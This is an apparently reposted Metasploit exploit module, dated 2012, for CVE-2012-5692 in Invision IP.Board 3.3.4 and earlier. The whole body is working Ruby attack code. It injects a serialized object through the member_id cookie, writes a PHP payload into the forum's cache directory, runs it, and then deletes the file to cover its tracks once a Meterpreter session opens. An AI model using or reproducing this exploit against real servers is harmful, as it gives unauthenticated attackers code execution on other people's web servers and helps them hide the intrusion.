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Monday, November 19, 2012

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution',
'Description' => %q{
This module exploits a php unserialize() vulnerability in Invision IP.Board
<= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary
code under the context of the webserver user.

The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,
which is called with user controlled data from the cookie. The exploit abuses the
__destruct() method from the dbMain class to write arbitrary PHP code to a file on
the Invision IP.Board web directory.

The exploit has been tested successfully on Invision IP.Board 3.3.4.
},
'Author' =>
[
'EgiX', # Vulnerability discovery and PoC
'juan vazquez', # Metasploit module
'sinn3r' # PhpEXE tekniq & check() method
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-5692' ],
[ 'OSVDB', '86702' ],
[ 'BID', '56288' ],
[ 'EDB', '22398' ],
[ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'Space' => 8000, #Apache's limit for GET
'DisableNops' => true
},
'Targets' => [ ['Invision IP.Board 3.3.4', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 25 2012'
))

register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])
], self.class)
end

def base
base = target_uri.path
base << '/' if base[-1, 1] != '/'
return base
end

def check
res = send_request_raw({'uri'=>"#{base}index.php"})
return Exploit::CheckCode::Unknown if not res

version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
version = version.map {|e| e.to_i}

# We only want major version 3
# This version checking is based on OSVDB's info
return Exploit::CheckCode::Safe if version[0] != 3

case version[1]
when 1
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
when 2
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
when 3
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
end

return Exploit::CheckCode::Safe
end

def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
begin
print_warning("#{@peer} - Deleting #{@upload_php}")
client.fs.file.rm(@upload_php)
print_good("#{@peer} - #{@upload_php} removed to stay ninja")
rescue
print_error("#{@peer} - Unable to remove #{f}")
end
end
end

def exploit
@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
@peer = "#{rhost}:#{rport}"

# get_write_exec_payload uses a function, which limits our ability to support
# Linux payloads, because that requires a space:
# function my_cmd
# becomes:
# functionmy_cmd #Causes parsing error
# We'll have to address that in the mixin, and then come back to this module
# again later.
php_payload = get_write_exec_payload(:unlink_self=>true)
php_payload = php_payload.gsub(/^\<\?php/, '<?')
php_payload = php_payload.gsub(/ /,'')

db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"

print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")

res = send_request_cgi(
{
'uri' => "#{base}index.php?#{php_payload}",
'method' => 'GET',
'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
})

if not res or res.code != 200
print_error("#{@peer} - Exploit failed: #{res.code}")
return
end

print_status("#{@peer} - Executing the payload #{@upload_php}")

res = send_request_raw({'uri' => "#{base}cache/#{@upload_php}"})

if res
print_error("#{@peer} - Payload execution failed: #{res.code}")
return
end

end
end

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